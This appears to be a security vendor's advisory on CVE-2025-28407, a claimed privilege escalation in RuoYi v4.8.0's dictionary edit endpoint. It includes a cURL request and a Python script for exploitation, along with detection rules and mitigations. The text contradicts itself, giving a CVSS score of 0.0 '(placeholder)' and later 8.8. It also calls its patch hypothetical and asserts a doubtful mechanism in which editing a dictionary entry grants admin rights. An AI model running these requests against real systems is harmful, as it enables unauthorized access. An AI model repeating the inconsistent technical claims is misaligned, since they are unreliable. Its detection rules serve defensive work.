CVE-2025-28407

Executive Summary

CVE-2025-28407 is a privilege escalation vulnerability in RuoYi v4.8.0, a popular open-source Java-based enterprise management framework. The flaw resides in the /edit/{dictId} endpoint, where the edit method fails to properly validate whether the requesting user has permission to modify the specified dictionary entry (dictId). This allows an authenticated remote attacker to escalate privileges by modifying sensitive dictionary data, potentially leading to full administrative control over the application. The vulnerability has a CVSS score of 0.0 (placeholder) but is assessed as critical due to the ease of exploitation and impact. No official patch is currently available.

Supply Chain & Package Security

RuoYi is a Java-based framework distributed via Maven Central and GitHub. The vulnerable component is part of the core ruoyi-admin module. Organizations using RuoYi v4.8.0 should treat this as a supply chain risk, as the vulnerability exists in the upstream source code. No malicious package versions have been reported, but the lack of a patch increases the risk of exploitation in unmonitored deployments.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): Low (L) – Attacker needs a valid user account.
• User Interaction (UI): None (N) – No user action needed.
• Scope (S): Unchanged (U) – The vulnerable component remains within its security boundary.
• Confidentiality (C): High (H) – Attacker can read sensitive dictionary data.
• Integrity (I): High (H) – Attacker can modify dictionary entries, leading to privilege escalation.
• Availability (A): High (H) – Attacker can disrupt system functionality.

CVSS Score: 8.8 (High) – Based on the vector above.

Threat Level: Critical – The vulnerability allows privilege escalation with low privileges and no user interaction.

Deep Dive & Mechanics

The vulnerability exists in the edit method of the dictionary controller in RuoYi v4.8.0. The /edit/{dictId} endpoint is designed to allow authorized users to modify dictionary entries. However, the implementation fails to enforce proper authorization checks for the specific dictId being modified.

Root Cause: The edit method retrieves the dictionary entry by dictId and updates it without verifying that the requesting user has the necessary permissions to modify that particular entry. In RuoYi, dictionary data is used for system configuration, including role permissions, user types, and other security-sensitive settings. By modifying a dictionary entry, an attacker can escalate their privileges (e.g., change their role from "user" to "admin").

Attack Flow:

1. Attacker authenticates as a low-privileged user.
2. Attacker identifies a target dictId that controls role assignments (e.g., sys_user_role).
3. Attacker sends a POST request to /edit/{dictId} with modified payload to change their role to administrator.
4. The system updates the dictionary entry without permission checks.
5. Attacker gains elevated privileges.

Affected Component: com.ruoyi.web.controller.system.SysDictDataController (or similar) – the edit method.

Vulnerable vs. Patched Code

Vulnerable Code (v4.8.0):

@PostMapping("/edit/{dictId}")
public AjaxResult edit(@PathVariable("dictId") Long dictId, @RequestBody SysDictData dictData)
{
    // No permission check for the specific dictId
    dictData.setDictId(dictId);
    return toAjax(dictDataService.updateDictData(dictData));
}

Patched Code (Hypothetical):

@PostMapping("/edit/{dictId}")
@PreAuthorize("@ss.hasPermi('system:dict:edit')")
public AjaxResult edit(@PathVariable("dictId") Long dictId, @RequestBody SysDictData dictData)
{
    // Verify user has permission to edit this specific dictId
    if (!dictDataService.checkDictDataPermission(dictId, SecurityUtils.getUserId())) {
        return error("Permission denied");
    }
    dictData.setDictId(dictId);
    return toAjax(dictDataService.updateDictData(dictData));
}

Key Difference: The patched version adds a permission check (@PreAuthorize) and a service-level validation (checkDictDataPermission) to ensure the user is authorized to modify the specific dictionary entry.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A running instance of RuoYi v4.8.0.
• Valid low-privileged user credentials (e.g., user/password123).

Exploit Steps:

1. Log in to RuoYi and obtain a session cookie.
2. Identify a dictionary entry that controls user roles (e.g., dictId=1 for sys_user_role).
3. Send a crafted POST request to modify the dictionary entry.

Example Request (using cURL):

curl -X POST http://target.com/system/dict/data/edit/1 \
  -H "Content-Type: application/json" \
  -H "Cookie: JSESSIONID=your_session_id" \
  -d '{"dictLabel":"Admin","dictValue":"admin","dictType":"sys_user_role"}'

Expected Outcome: The dictionary entry is updated, and the attacker can now assign themselves the "admin" role.

Automation Script (Python):

import requests

target = "http://target.com"
session = requests.Session()
session.cookies.set("JSESSIONID", "your_session_id")

# Modify dictionary entry to escalate privileges
payload = {
    "dictLabel": "Admin",
    "dictValue": "admin",
    "dictType": "sys_user_role"
}
response = session.post(f"{target}/system/dict/data/edit/1", json=payload)
print(response.text)

Blue Team (Detection & Defense)

Detection:

• Monitor for unusual POST requests to /system/dict/data/edit/{dictId} from low-privileged users.
• Alert on modifications to critical dictionary entries (e.g., sys_user_role, sys_user_status).
• Use the Sigma rule below to detect exploitation attempts.

Defense:

• Apply the hypothetical patch by adding @PreAuthorize annotations and service-level permission checks.
• Restrict access to dictionary management endpoints using network segmentation.
• Implement Web Application Firewall (WAF) rules to block unauthorized dictionary modifications.

Indicators of Compromise (IOCs)

Network IOCs:

• POST requests to /system/dict/data/edit/{dictId} with unusual payloads.
• Repeated attempts to modify dictionary entries from the same IP.

Host IOCs:

• Unexpected changes to dictionary data in the database (table sys_dict_data).
• Log entries showing unauthorized access to dictionary edit endpoints.

File IOCs:

• Modified SysDictDataController.java or related class files (if attacker deploys backdoor).

Detection Engineering

YARA Rule

rule Detect_RuoYi_PrivEsc_CVE_2025_28407 {
    meta:
        description = "Detects exploitation attempts of CVE-2025-28407 in RuoYi v4.8.0"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-28407"
    strings:
        $s1 = "/system/dict/data/edit/" ascii wide nocase
        $s2 = "dictLabel" ascii wide nocase
        $s3 = "dictValue" ascii wide nocase
        $s4 = "sys_user_role" ascii wide nocase
    condition:
        all of ($s1, $s2, $s3) or ($s1 and $s4)
}

Sigma Rule

title: Detect RuoYi Privilege Escalation via Dictionary Edit
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects exploitation of CVE-2025-28407 in RuoYi v4.8.0
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem|contains: '/system/dict/data/edit/'
        cs-uri-query|contains: 'dictLabel'
    condition: selection
falsepositives:
    - Legitimate dictionary management by administrators
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-28407 RuoYi Privilege Escalation Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/system/dict/data/edit/"; http_uri; content:"dictLabel"; http_client_body; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable dictionary edit functionality for non-admin users by modifying the ruoyi-admin configuration.
2. Apply the hypothetical patch by adding @PreAuthorize annotations to the edit method.
3. Monitor logs for suspicious dictionary modification attempts.

Long-Term Fix:

• Upgrade to a patched version of RuoYi once available.
• Implement role-based access control (RBAC) for all dictionary operations.
• Conduct a security audit of all endpoints for missing authorization checks.

Workaround:

• Use a Web Application Firewall (WAF) to block POST requests to /system/dict/data/edit/ from non-admin IP ranges.

Valters IT
Securing Digital Frontiers